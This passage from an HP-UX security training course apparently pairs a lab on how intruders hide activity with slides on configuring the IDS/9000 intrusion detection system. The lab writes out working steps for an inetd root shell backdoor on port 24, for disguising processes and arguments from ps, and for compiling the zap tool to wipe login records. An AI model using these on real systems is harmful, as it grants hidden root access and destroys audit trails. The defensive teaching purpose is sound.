b. What would you have to add to the swatch.conf file to automatically highlight all
connection requests from your neighbor’s hostname? Make and test the change. (Be
sure to kill and restart swatch after you modify the configuration file)

Answer:

http://education.hp.com 9-39 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

Part IV: Hiding Connections

When hackers get on a system, they often try to hide their connections. The C shell contains
an option (-i) which prevents a tty device file from being associated with the shell. Because
there is no tty device for the shell, users running a shell in this mode do not appear in a who
listing.
1. To illustrate the stealth shell, add a bogus service called "hackshell" to the
/etc/services file.

# vi /etc/services
hackshell 24/tcp

2. Add an additional entry to the /etc/inetd.conf file.

# vi /etc/inetd.conf
hackshell stream tcp nowait root /usr/bin/csh csh -i

3. Restart the inetd daemon

# inetd –c

4. From another window, access the hackshell service on port 24. Does the who command
report the new “hack” login?

# telnet localhost 24
# who -R

5. Exit out of the hackshell session before proceeding.

# exit

Part V: Process Hiding

Hackers often try to hide their activities from the ps command. Two techniques used are to
hide their process name and to hide arguments passed to commands.
1. Display a full listing of all your current processes.

# ps –f

2. Make your shell process look like the ls command.

# cp /usr/bin/sh ./ls
# PATH=.:$PATH
# exec ls

3. Redisplay a full listing of all your current processes. Can you tell that an additional shell
has been started?

# ps –f

H3541S D.02 9-40 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

Answer:

Part VI: Argument Hiding

1. Look at the /etc/passwd file using the more command.

# more /etc/passwd

2. After the first screen of data, shell out of the more command by hitting the ! key, then
execute the ps command. Does the ps output indicate which file the user is viewing with
more?

passwd (23%)!ps –f

3. This time, use the more command with input redirection to open the /etc/passwd file

# more </etc/passwd

4. Once again, shell out of more and execute the ps command. Does the ps output indicate
which file is being viewed with the more command this time?

passwd (23%)!ps –f

5. Shell out and execute the lsof command. Can you see the filename in the lsof output?

passwd (23%)!lsof | grep more

http://education.hp.com 9-41 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

Part VII: Experimenting with the Hacker Tool: Zap

1. Download a copy of the zap software from
http://www.dsinet.org/tools/logutils/zap.c to /usr/local/src/zap.
For the purposes of this class, you can simply copy the file from the /labs directory.

# mkdir –p /usr/local/src/zap
# cp /labs/zap/zap.c /usr/local/src/zap

2. Edit the zap.c source code and remove all references to lastlog (HP-UX does not use
lastlog).

# vi /usr/local/src/zap/zap.c
delete line 25 #include <lastlog.h> (just this line)
delete lines 48-65 kill_lastlog (and rest of subroutine)
delete line 55 kill_lastlog(argv[1]) (subroutine call)

4. Compile the zap program

# gcc /usr/local/src/zap/zap.c –o /usr/local/bin/zap

5. Test the zap program. First, create a couple of entries in the wtmp log file by telnet’ing
into your localhost as user1. Log out of the session immediately. Then initiate a second
telnet session, but don’t logout this time.

# telnet localhost login as user1

$ exit
# telnet localhost login as user1 again

6. Use the last and who commands to verify that user1 is in the utmp and wtmp log files.

$ last
$ who

7. Without logging out, try to "zap" user1's records from the log files, then execute last and
who again. Can you explain what did (or didn’t!) happen? After checking the log files,
logout of the user1 telnet session.

$ /usr/local/bin/zap user1
$ who
$ last
$ exit

Answer:

H3541S D.02 9-42 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

8. Now that you are back to your original shell, see if root can zap users from utmp and
wtmp.

# /usr/local/bin/zap user1
# last
# who

9. Does last show any record of user1’s login session?

Does who show any record of user1's login session?

Answer:

Part VIII: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com 9-43 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

H3541S D.02 9-44 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 10  Solution: Monitoring Suspicious
Activity with IDS/9000
Objectives
Upon completion of this module, you will be able to do the following:
• Describe the purpose and features of the IDS/9000 product.

• Describe the conditions that IDS/9000 monitors.

• Configure IDS/9000 detection template properties.

• Configure IDS/9000 surveillance groups.

• Configure IDS/9000 surveillance schedules.

• Configure IDS/9000 monitored nodes.

• Configure IDS/9000 automated response scripts.

• Use the IDS GUI interface to monitor security incidents on client systems.

http://education.hp.com 10-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–1. SLIDE: Intrusion Detection System Overview

IDS/9000 Overview

IDS/9000 is a host-based intrusion detection tool for HP-UX.

IDS/9000 monitors log files, as well as system calls, for suspicious activity.
IDS/9000 includes a Java-based GUI reporting tool.
IDS/9000 is free from http://software.hp.com

Kernel IDS
/var/adm

wtmp

sulog

Processes btmp

Student Notes
The previous chapter discussed some of the HP-UX log files -- and their vulnerabilities. By
hiding processes and arguments, and by editing log files, hackers can oftentimes subvert
normal UNIX logging mechanisms. HP’s Intrusion Detection System 9000 (IDS/9000)
provides a more convenient, more robust mechanism for monitoring suspicious activity.

Intrusion detection is the art of detecting illegal and improper use of computing resources by
unauthorized outsiders and authorized employees, before such misuse results in excessive
damage. An intrusion detection system (IDS) monitors user and system activity to detect
patterns of misuse that may correspond to security violations. The monitoring is automatic
and constant on all the systems on which the IDS is deployed. It imposes a low overhead on
the systems and network to avoid disrupting your business activities. In addition, an IDS can
monitor a server machine, a whole network, or even an application (such as a database or
web server).

Before attacking your systems, an attacker needs to identify potential vulnerabilities that can
be exploited to subvert your system’s security. A vulnerability is a feature of the design,
implementation, or operation of a computer system or network that leaves it open to
subversion by an unauthorized (or authorized) user. Having identified a vulnerability to
exploit, the attacker will then create an attack script, which is often just a shell script or

H3541S D.02 10-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

simple program that performs a series of fixed steps to exploit the vulnerability. Often the
script that the attacker needs has already been written and is available on a web page in
which case the attacker’s job is much easier.

Despite the multitude of hacking techniques, you may be surprised to learn that most of them
are merely variations on a theme. Once one attacker identifies a weakness and releases an
attack script for it, many others are inspired by his work and find similar weaknesses in other
pieces of software. What follows is usually a flood of attacks that exhibit common patterns
and follow similar steps. Given an attack, we can codify it, to express it in terms that an
intrusion detection system can operate with. IDS/9000 uses the concept of a “detection
template” to express some fundamental aspect of an attack that makes it different from
legitimate behavior while permitting detection.

IDS/9000 detection templates monitor a variety of log files, and system calls to the HP-UX
kernel for possible hacker activity. As IDS/9000 continuously examines ongoing activity on a
system, it seeks out patterns that might suggest security breaches or misuses. These might
include repeated failed login attempts, attempts to edit files owned by other users, or
attempts to delete entries from system log files.

When IDS/9000 detects a possible intrusion attempt, it sends an alert to the IDS/9000
administrative Java/GUI interface where you can immediately investigate the situation, and
when necessary, take action against the intrusion. In addition, you can configure customized
response scripts to execute automatically when a potential intrusion is identified.

IDS/9000 may be downloaded for free from the http://software.hp.com website.

What IDS/9000 Does Not Do

IDS/9000 does not prevent attacks; it simply notifies you when suspicious activity suggests
that an attack may be in progress. If your system is vulnerable to attacks, those
vulnerabilities will remain even after IDS/9000 is installed.

IDS/9000 won’t find static security flaws on a system, either. For example, if the password file
contained an illegitimate account before IDS/9000 was installed, that illegitimate account
remains a vulnerability even after IDS/9000 is installed and operational.

http://education.hp.com 10-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–2. SLIDE: IDS Architecture

IDS/9000 Architecture

IDS/9000 is a client/server application.

IDS/9000 agent daemons run on one or more IDS clients.
IDS/9000 agents report suspicious activity to the IDS management server via SSL.
IDS/9000 reports suspicious activity to the administrator via a Java GUI interface.
IDS/9000 also includes a mechanism for configuring automated incident response.

SSL

HPUX 11.11
Login:
SSL Password:

SSL
IDS Manager GUI
IDS Manager
IDS Client Agents

Student Notes

The slide above shows the client-server architecture of the IDS/9000 software.
• IDS Client Agents: Any HP-UX 11.00 or 11i system may be configured as an IDS Client.
Each IDS client continuously runs an IDS agent process, which monitors and records
suspicious system activity.

• IDS Manager: IDS client agents report suspicious activity to an IDS Manager Server via a
secured Secure Socket Layer (SSL) connection. The IDS Manager Server collects
messages from multiple IDS clients, and reports the results to the IDS administrator.

• IDS Manager GUI: IDS/9000 includes a Java-based GUI interface that the IDS/9000
administrator can use to view and evaluate potential intrusions.

H3541S D.02 10-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–3. SLIDE: Detection Templates

Detection Templates

IDS/9000 includes eleven different “detection templates.”

Each detection template watches for a specific type of suspicious activity.

Detection Templates:

Modification of files and directories

Changes to logfiles
Creation of set UID files
Creation of world writable files
Repeated failed logins
Repeated failed su attempts
Race condition attacks
Buffer overflow attacks
Modification of another user’s files
Monitor for the start of interactive sessions
Monitor logins and logouts

Student Notes
The IDS/9000 product includes eleven preconfigured detection templates. These detection
templates are the building blocks used to identify unauthorized system activity. You can
customize the detection templates by changing certain configurable properties.

The notes below provide an overview of the IDS/9000 detection templates. For a more
complete description of the templates, see the HP Intrusion Detection System/9000
Administrator’s Guide on http://docs.hp.com.

Modification of Files and Directories Template

This template monitors a specific set of files and directories for successful changes to the
owner or file permissions fields.

This template is useful because many of the files on HP-UX systems should not be modified
during normal operations. This includes various configuration files, command binaries,
libraries, and system directories.

http://education.hp.com 10-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Changes to Log Files Template

This template monitors a list of files for attempts to modify them in any way other than
appending.

It is useful because often hackers will attempt to modify or delete log files to remove
information about their intrusion.

Creation of SetUID Files Template

This template monitors the SUID files on the system. Items monitored include:
• Modification of permissions on an SUID file
• Change of owner of an SUID file
• Creation of new SUID files
This template is useful because SUID files are frequent targets of intruders as a means for
creating backdoors on the system.

Creation of World-Writable Files Template

This template monitors the world-writable files on the system. Items monitored include:
• Modification of permissions on a file to enable the world-writable bit.
• Change of owner of a world-writable file.
• Creation of new world-writable files.
This template is useful because world-writable files are dangerous to have on the system,
because they allow any user on the system to modify them. This is of special concern with
system files.

Repeated Failed Logins Template

This template monitors the number of failed login attempts and generates alerts if the "failed
login threshold" is exceeded.

This template is useful because one way hackers gain access is by repeatedly attempting to
guess the password for an account. Most standard login programs are able to record these
failures, and an administrator is notified if too many occur.

Repeated Failed SU Command Template

This template monitors the number of failed su attempts and generates an alert if the "failed
su threshold" is exceeded.

This template is useful because hackers attempt to gain access by repeatedly attempting to
su to an account. The su program records all failed su attempts, and an administrator is
notified if too many occur.

H3541S D.02 10-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Race Condition Attack Template

This template monitors privileged programs and generates an alert if a file reference appears
to change between the time the file is checked and the time the file is accessed.

This template is useful because it detects race condition attacks on files. An example is a
mail program that checks to see if a file exists before deleting the file. If an attacker is able to
change the file reference between these two checks, then the hacker can cause the mail
program to remove an arbitrary file (such as the /etc/passwd file).

Buffer Overflow Attack Template

This template monitors SUID programs to ensure they do not execute programs other than
themselves. An SUID-to-root program should never call another command binary. If it does,
then the command binary runs as root as well.

This template is useful because it detects if an SUID-to-root shell is ever spawned on the
system. SUID-to-root shells are a favorite backdoor of hackers and disgruntled employees.

Modification of Another User's File Template

This template monitors users’ access to files and generates an alert when a user modifies a
file owned by someone else.

This template is useful, because it detects when a file is modified by a user who does not own
it. A popular technique of hackers is to modify other users' startup files to gain unauthorized
access.

Monitor for the Start of Interactive Sessions Template

This template monitors for the start of interactive sessions on selected user accounts. This
includes ftp sessions, remote logins, and su commands.

This template is useful because there are certain accounts that are not intended for
interactive sessions. Accounts like bin, sys, www, and news are examples of such accounts.

Monitor Logins and Logouts Template

This template monitors for selected users logging in and logging out of the system.

This template is useful for ensuring certain accounts are not used for logins. A good trap for
detecting unauthorized access is to place an easily guessable password on a dummy account
in /etc/passwd. If someone logs into the dummy account, then the system administrator
should be notified.

http://education.hp.com 10-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–4. SLIDE: Detection Template Properties

Detection Template Properties

Each detection template has one or more configurable properties.

Properties enable the administrator to customize IDS monitoring.

Detection Templates: Sample Detection Template Properties:

LoginsLogouts
FailedLogins Property: Notify when these users login:
InteractiveSessions root
ids
FailedSu www
FileModification
SUIDFiles
ModifyOthersFiles Property: Notify if lines are removed from these logs:
LogFiles /var/adm/wtmp
/var/adm/btmp
RaceCondition
/var/adm/syslog/syslog.log
BufferOverflow

Student Notes
Each detection template includes one or more properties that can be modified by the IDS
administrator. For example, the “Monitor for the start of interactive sessions” template has a
property that determines which user account logins should be monitored. The “Changes to
log files” template has a property that determines which log files should be monitored. It is
important to customize these properties to match your system’s configuration, usage, and
security requirements.

For a more complete description of the template properties, see the HP Intrusion Detection
System/9000 Administrator’s Guide on http://docs.hp.com.

H3541S D.02 10-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–5. SLIDE: Surveillance Groups

Surveillance Groups

Detection templates may be grouped together to form surveillance groups.

A single detection template may belong to multiple surveillance groups.
Properties may be customized on a per-surveillance group basis.

Detection Templates: Surveillance Groups:

LoginsLogouts
FailedLogins MonitorLogins
InteractiveSessions
FailedSu
FileModification
SUIDFiles
MonitorFiles
ModifyOthersFiles
LogFiles
RaceCondition
MonitorOther
BufferOverflow

Student Notes
Detection templates may be grouped together to form “Surveillance Groups”.

Some administrators group similar detection templates together to form surveillance groups.
For example, the “MonitorLogins” surveillance group on the slide includes four detection
templates that are all related to user login issues. Similarly, the “MonitorFiles” surveillance
group on the slide includes four detection templates that are all related to file access issues.

Other administrators create a separate surveillance group for each class of server they intend
to monitor. For instance, you may wish to create a “MonitorWebServers” surveillance group
that includes all of the detection templates, since web servers are often exposed to the public
Internet, and require careful monitoring. For less critical/vulnerable desktop HP-UX
workstations on your network, you might create a surveillance group called
“MonitorWorkstations” that only includes the detection templates for failed logins and failed
su attempts.

A single detection template may belong to multiple surveillance groups. For instance, the
“Repeated failed logins” detection template would likely be included in both the
“MonitorWebServers” and “MonitorWorkstations” surveillance groups mentioned in the
previous paragraph.

http://education.hp.com 10-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Detection template properties may be customized on a per-surveillance group basis. You

may wish to include the www user in the list of user account logins to monitor on a web
server, but that user account might not even exist on other IDS clients.

The IDS/9000 product comes with a number of preconfigured surveillance groups. The IDS
Administrator can edit these default groups, or delete them and create new ones.

H3541S D.02 10-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–6. SLIDE: Surveillance Schedules

Surveillance Schedules

Surveillance groups may be grouped together to form surveillance schedules.

Each surveillance group in a schedule may be monitored over a specific time interval.
Each surveillance group may be included in multiple surveillance schedules.

Detection Templates: Surveillance Groups: Surveillance Schedules:

LoginsLogouts
SemiSecureSystems
FailedLogins MonitorLogins MonitorLogins 24x5
InteractiveSessions
FailedSu
FileModification
SUIDFiles VerySecureSystems
MonitorFiles
ModifyOthersFiles
MonitorLogins 24x7
LogFiles MonitorFiles 24x7
RaceCondition MonitorOther 24x7
MonitorOther
BufferOverflow

Student Notes
Surveillance groups may be grouped together to form “Surveillance Schedules”. Each
surveillance schedule includes one or more surveillance groups, and specifies when each
surveillance group should be monitored. A surveillance group may be included in multiple
surveillance schedules.

In the example on the slide, the SemiSecureSystems surveillance schedule might be used to
monitor less critical systems on your network. Note that this surveillance schedule only
includes the MonitorLogins surveillance group, and only monitors that surveillance group
during business hours.

The VerySecureSystems surveillance schedule might be a better choice for mission critical
servers. It includes all of the detection templates, and monitors them 24x7.

The IDS/9000 product doesn’t include any pre-configured surveillance schedules.

http://education.hp.com 10-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–7. SLIDE: Surveillance Schedule to Host Mapping

Surveillance Schedule to Host Mapping

Each IDS client is assigned a surveillance schedule.

Detection Templates: Surveillance Groups: Surveillance Schedules: IDS Client Hosts:

LoginsLogouts
SemiSecureSystems
FailedLogins FileSvr
MonitorLogins MonitorLogins 24x5
InteractiveSessions
FailedSu PrintSvr
FileModification
SUIDFiles VerySecureSystems
MonitorFiles
ModifyOthersFiles FirewallSvr
MonitorLogins 24x7
LogFiles MonitorFiles 24x7
RaceCondition MonitorOther 24x7
MonitorOther WebSvr
BufferOverflow

Student Notes
To provide intrusion detection coverage within a network of hosts, you will need to
download a surveillance schedule to each host. When the surveillance schedule is
downloaded, the corresponding surveillance groups, and all the detection templates in the
group are downloaded, too.

H3541S D.02 10-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–8. SLIDE: Installing IDS/9000

Installing and Configuring IDS/9000

Several steps are required to initially install IDS/9000.

1. Install IDS and Java software on the server, and IDS software on clients
2. Enable the ids user account on the server
3. Create encryption/authentication keys for the IDS server
4. Create encryption/authentication keys for the IDS clients
5. Import the client keys on the clients
6. Start the IDS agent daemon on the clients
7. Start the IDS manager GUI
a. Assign detection templates to surveillance groups
b. Assign surveillance groups to surveillance schedules
c. Assign surveillance schedules to IDS clients
d. Monitor and respond to IDS alerts

Student Notes
Several steps are required to initially configure IDS.

Install IDS and Java Software on the Server, and IDS Software on Clients
The IDS/9000 software is available on the 11i Operating Environment CD. Install bundle
J5083AA on both the server and clients. A reboot is required to configure the idds driver in
the kernel.

On the server, you will also need the Java Runtime Environment version 1.3.1.01 or greater
(B9789AA) from the applications CD.

Enable the ids User Account on the Server

Most IDS commands must be executed by user ids, which is created during the install
process. Create a password for the ids user to enable the account.

# passwd ids

Logout, then log back in again as user ids before proceeding.

http://education.hp.com 10-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Create Encryption/Authentication Keys for the IDS Server

IDS/9000 uses X.509 certificates to establish a secure channel of communication between the
IDS Manager and the IDS agents. Certificates must be established for the server and clients
to facilitate this secure channel of communication. Start by creating certificates for the IDS
Manager.

# su - ids
$ cd /opt/ids/bin
$ IDS_genAdminKeys
==> Be sure to run this script on the IDS Administration host.
Generating a certificate request for IDS Root CA...
Generating a self-signed certificate for IDS Root CA...
Generating a certificate for the IDS/9000 System Manager...
Generating cert signing request for IDS/9000 System Manager...
Signing the IDS/9000 System Manager certificate request...
Importing IDS Root CA certificate...
Importing the IDS/9000 System Manager certificate...
************************************************************
* Successfully created certificates for IDS Root CA and for
* the IDS/9000 System Manager.
* Certificate public keys are valid for 700 days and are
* 1024 bits in size.
*
* Now you need to create keys for each of the hosts on which
* the Agent software is installed by running the script
* 'IDS_genAgentCerts'.
************************************************************

Create Encryption/Authentication Keys for the IDS Clients

Generate keys for each agent, one bundle of keys per agent system.

$ IDS_genAgentCerts
==> Be sure to run this script on the IDS Administration host.
Generate keys for which host? myhost1
Generating key pair and certificate request for IDS Agent
on myhost1....
Signing certificate for IDS Agent on myhost1...
Certificate package for IDS Agent on myhost1 is
/var/opt/ids/tmp/myhost1.tar.Z
Next hostname (^D to quit)? myhost2
Generating key pair and certificate request for IDS Agent
on myhost2....
Signing certificate for IDS Agent on myhost2...
Certificate package for IDS Agent on myhost2 is
/var/opt/ids/tmp/myhost2.tar.Z
Next hostname (^D to quit)?

H3541S D.02 10-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

************************************************************
* Successfully created agent certificates for the following
* hosts:
* myhost1
* myhost2
*
* Certificate public keys are valid for 700 days and are
* 1024 bits in size.
* They are stored in /var/opt/ids/tmp as hostname.tar.Z
*
* You should now transfer the bundles via a secure channel
* to the IDS agent machines.
*
* On each agent you will need to run the IDS_importAgentKeys
* script to finish the installation.
************************************************************

Import the Client Keys on the Clients

Transfer the /var/opt/ids/tmp/hostname.tar.Z agent certificate bundles via a secure
channel to the agent systems. FTP, NFS, and unencrypted e-mail are not considered to be
secure communication channels, since they are vulnerable to network sniffers. A later
chapter in the course will describe how to use the sftp command, which is included with
HP’s Secure Shell (SSH) product, to securely transfer files across the network. SSH is a free
product that you can download from http://software.hp.com.

On each agent system, install the bundle of keys generated for that host. This step
assumes that you placed the agent certificate bundle in the /var/opt/ids/tmp directory.
Replace client with your client’s hostname, and manager with your IDS Manager
hostname

$ su - ids
$ cd /opt/ids/bin
$ IDS_importAgentKeys /var/opt/ids/tmp/client.tar.Z manager

Extracting key pair and certificates...

Modifying the configuration file /etc/opt/ids/ids.cf to use
manager as the IDS Administration host...
************************************************************
* Keys for IDS Agent were imported successfully.
*
* You can now run the idsagent process on this machine and
* control it from the IDS/9000 System Manager.
************************************************************

http://education.hp.com 10-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

Start the IDS Agent Daemon on the Clients

Start the IDS agent daemon on each client.

# /sbin/init.d/idsagent start

Start the IDS Manager GUI

Finally, launch the IDS manager GUI. It may take up to 20 seconds for the screen to appear.

$ /opt/ids/bin/idsgui

From the GUI, you can configure surveillance groups, schedules, and clients, and monitor
alerts from the agent daemons. The GUI interface screens will be described in detail in the
following slides.

Stop the IDS/9000 System Manager

You can exit the System Manager any time you wish by choosing File -> Exit from the
menu bar.

File -> Exit

When you exit the GUI, any running or scheduled agents will continue monitoring system
activity on their host systems, and will log alerts to their local IDS log files.

NOTE: The procedure required to install and configure IDS/9000 on a multi-homed

hosts is a bit more complicated. See the "Configuring a Multihomed
Administration System" in the "HP Intrusion Detection System/9000
Administrator's Guide" on
http://www.docs.hp.com/hpux/onlinedocs/J5083-90007/J5083-
90007.html for more information.

H3541S D.02 10-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–9. SLIDE: Configuring Surveillance Groups

Configuring Surveillance Groups

Use the IDS/9000 System Manager screen to manage Surveillance Groups.

Student Notes
After you install IDS/9000 and configure the certificate keys, you can login as user ids and
configure surveillance groups and schedules from the Schedule Manager screen in the GUI.
1. Log into the ids user account, and launch the GUI. Be patient. It may be several minutes
before the idsgui window appears.

$ /opt/ids/bin/idsgui

2. IDS initially launches the IDS/9000 System Manager window. From this window,
click Edit -> Schedule Manager. The Schedule Manager window is used to
create and schedule Surveillance Groups.

3. Make sure you are on the Configure tab, rather than the Timetable or Details tab.

http://education.hp.com 10-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

4. Surveillance Groups can be configured in the Surveillance Groups box. The buttons
at the bottom of this box may be used to add, copy, delete and rename surveillance
groups. The notes below focus on adding a new surveillance group. Click the New button
in the Surveillance Groups box. From area on the Schedule Manager screen, you
can add, copy, rename, and delete Surveillance Schedules using the buttons at the bottom
of the box.

5. Name your new Surveillance Group in the New Surveillance Group dialog box that
appears.

− Enter your desired name in the dialog box.

− Click OK.
− Your new group should appear in the Surveillance Group list.

6. Specify which detection templates you wish to include in your new Surveillance Group.

− Select your new group from the Surveillance Group list.

− Look at the Templates box to the right of the Surveillance Group list.
− Mark the templates that you wish to include in your Surveillance Group.
7. This is your opportunity to customize detection template properties in your surveillance
group, too.

− Select a detection template from the Templates box.

− Look at the Properties box to the right of the Templates box.
− Select a property.
− Click Edit.
− Follow the directions in the resulting dialog box (es).

Surveillance schedules and groups are saved automatically when you first create them and
every time you exit from the System Manager screen. Surveillance groups are saved on disk
in files that match the group name, as
/var/opt/ids/gui/SurveillanceGroups/groupname.grp where groupname is
the name of the surveillance group.

H3541S D.02 10-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–10. SLIDE: Configuring Surveillance Schedules

Configuring Surveillance Schedules

Use the IDS/9000 System Manager screen to manage Surveillance Schedules, too.

Student Notes
After you create one or more surveillance groups, you can configure surveillance schedules.
1. Log into the ids user account, and launch the GUI. Be patient. It may be several minutes
before the idsgui window appears.

$ /opt/ids/bin/idsgui

2. IDS initially launches the IDS/9000 System Manager window. From this window,
click Edit -> Schedule Manager. The Schedule Manager window is used to
create and schedule Surveillance Groups.

3. Make sure you are on the Configure tab, rather than the Timetable or Details tab.

http://education.hp.com 10-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

4. Find the Schedules box on the left side of the Schedule Manager window. From
area on the Schedule Manager screen, you can add, copy, rename, and delete Surveillance
Schedules using the buttons at the bottom of the box. The notes below describe the
process required to add a new Surveillance Schedule.

− Click New.
− A New Surveillance Schedule dialog box should appear.
− Choose a name for your Surveillance Schedule.
− Click OK.
− Verify that your new Surveillance Schedule appears in the Schedules box.
5. Now, specify which surveillance groups should be included in your new Surveillance
Schedule.

− In the Schedules box on the left, select your new Surveillance Schedule.
− In the Surveillance Groups box, click Clear All.
− In the Surveillance Groups box, mark the check boxes to the left of the desired
Surveillance Groups.
6. Next, specify when your Surveillance Schedules should be monitored.

− Click the Timetable tab near the top of the screen. This should open a scheduling
grid that can be used to specify when you want each Surveillance Group to be
monitored.
− Select your new surveillance schedule from the Schedules box on the left.
− Look at the Schedule Summary grid for your surveillance schedule.
− Select one of your included Surveillance Groups from the Selected Groups box.
− In the Criteria box, click Specified.
− In the Select Days box, click None.
− In the Select Times box, click None.
− In the Select Days box, hold down the [Control] key and select the desired
monitoring times and days.
− Repeat this process for each Surveillance Group in the Surveillance Schedule.

7. Now that you have configured a surveillance group and a surveillance schedule, be sure
to hit the Save button to save your work.

8. Finally, click File -> Close to return to the System Manager screen.

Surveillance schedules are saved on disk in files that match the schedule name, as
/var/opt/ids/gui/SurveillanceSchedules/schedname.schedule where
schedname is the name of the surveillance schedule.

H3541S D.02 10-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–11. SLIDE: Configuring Monitored Hosts

Configuring Monitored Hosts

Use the IDS/9000 Host Manager screen to add and remove monitored hosts.

Student Notes
Now that you have an IDS Surveillance Schedule, you can specify which hosts you want to
monitor.
1. Log into the ids user account, and launch the GUI. Be patient. It may be several minutes
before the idsgui window appears.

$ /opt/ids/bin/idsgui

2. IDS initially launches the IDS/9000 System Manager window. From this window,
click Edit -> Host Manager.

3. Click the Add button in the Host Manager window.

4. Enter the hostname of the host you wish to monitor in the Host Name box, then click the
Set IP Address button to display the IP address of the host in the IP Address field.
Alternatively, you can enter the IP address in the IP Address field, then click the Set
Host Name button.

5. Click OK to confirm the new host.

http://education.hp.com 10-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

6. Your new client should appear in the Host Manager window's host list.

7. Click the Monitored check box for your host to force IDS to poll the new client.

8. Repeat this process for all hosts you wish to monitor.

9. When finished, save the defined hosts using the File -> Save menu.

10. Then, close the Host Management window by selecting File -> Close.

H3541S D.02 10-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

10–12. SLIDE: Assigning Schedules to Monitored Hosts

Assigning Schedules to Monitored Hosts

Use the IDS/9000 System Manager screen to assign Schedules to Hosts.

Student Notes
At this point, you have configured Surveillance Schedules and Groups, as well as Monitored
Hosts.

Activating Schedules on Monitored Nodes

The final step in the configuration is to assign a Surveillance Schedule to each Monitored
Host.
1. Log into the ids user account, and launch the GUI. Be patient. It may be several minutes
before the idsgui window appears.

$ /opt/ids/bin/idsgui

2. IDS initially launches the IDS/9000 System Manager window.

3. Select a Monitored Node from the Monitored Node list on the right. If the Status field
doesn’t report that the host is Available, click the Status button at the top of the
screen to re-poll the host and verify that the idsagent is responding.

http://education.hp.com 10-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 10
Solution: Monitoring Suspicious Activity with IDS/9000

4. Select a Surveillance Schedule from the Surveillance Schedule list on the right.

5. Click the Activate button at the top of the screen to download the selected
Surveillance Schedule to the selected Monitored Node. The Status field should report
Downloading, Activating, and finally, Running.

Stopping Schedules on Monitored Nodes

When you stop a surveillance schedule on an agent host, the schedule is removed from the
agent and ceases to be scheduled or running. The agent program continues running, ready to
accept future actions.

If you want to replace one Surveillance Schedule with another, choose Actions -> Stop
Schedule to stop the current Surveillance Schedule, then Actions -> Activate the new
one as described above.

Halting IDS Agents

You may want to stop the agent process on one, many, or all agent hosts for system
maintenance or other reasons. Normally, you halt agent hosts from the System Manager.
However, it may occasionally be necessary to halt the agent software directly from the agent
host. For example, if you improperly installed one of the key certificates needed for SSL
encryption, the agent will start, but it will not be able to communicate with the System
Manager.

To halt an agent from the System Manager screen, select the Monitored Node from the
Monitored Node list, then select the Actions -> Halt IDS Agent menu item.

The system administrator on the Monitored node can halt the agent daemon, too.

# /sbin/init.d/idsagent stop

In either case, the Status field should report No Agent Available.

Resynchronizing Agent Hosts

The IDS/9000 agent programs can continue to detect alerts when the IDS/9000 System
Manager GUI is not running. In this instance, as each agent detects intrusions, it records
them in the /var/opt/ids/alert.log file on the Monitored Node.

Normally, when you launch the IDS System Manager, the program automatically retrieves
copies of all of the alerts that have accumulated in the agent logs while the GUI was down.
However, you can force an immediate resynchronization of the logs at any time by selecting a
Monitored Node, then clicking Resync.

Any alerts in each agent’s log file that are newer than the last one seen by the System
Manager are transferred to the System Manager’s log files. The numbers will be updated
